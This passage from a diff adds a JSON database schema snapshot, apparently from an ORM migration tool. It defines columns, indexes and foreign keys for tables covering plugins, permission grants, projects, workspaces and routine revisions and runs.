+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugins_plugin_key_idx": {
+          "name": "plugins_plugin_key_idx",
+          "columns": [
+            {
+              "expression": "plugin_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugins_status_idx": {
+          "name": "plugins_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.principal_permission_grants": {
+      "name": "principal_permission_grants",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "permission_key": {
+          "name": "permission_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope": {
+          "name": "scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "granted_by_user_id": {
+          "name": "granted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "principal_permission_grants_unique_idx": {
+          "name": "principal_permission_grants_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "principal_permission_grants_company_permission_idx": {
+          "name": "principal_permission_grants_company_permission_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "permission_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "principal_permission_grants_company_id_companies_id_fk": {
+          "name": "principal_permission_grants_company_id_companies_id_fk",
+          "tableFrom": "principal_permission_grants",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
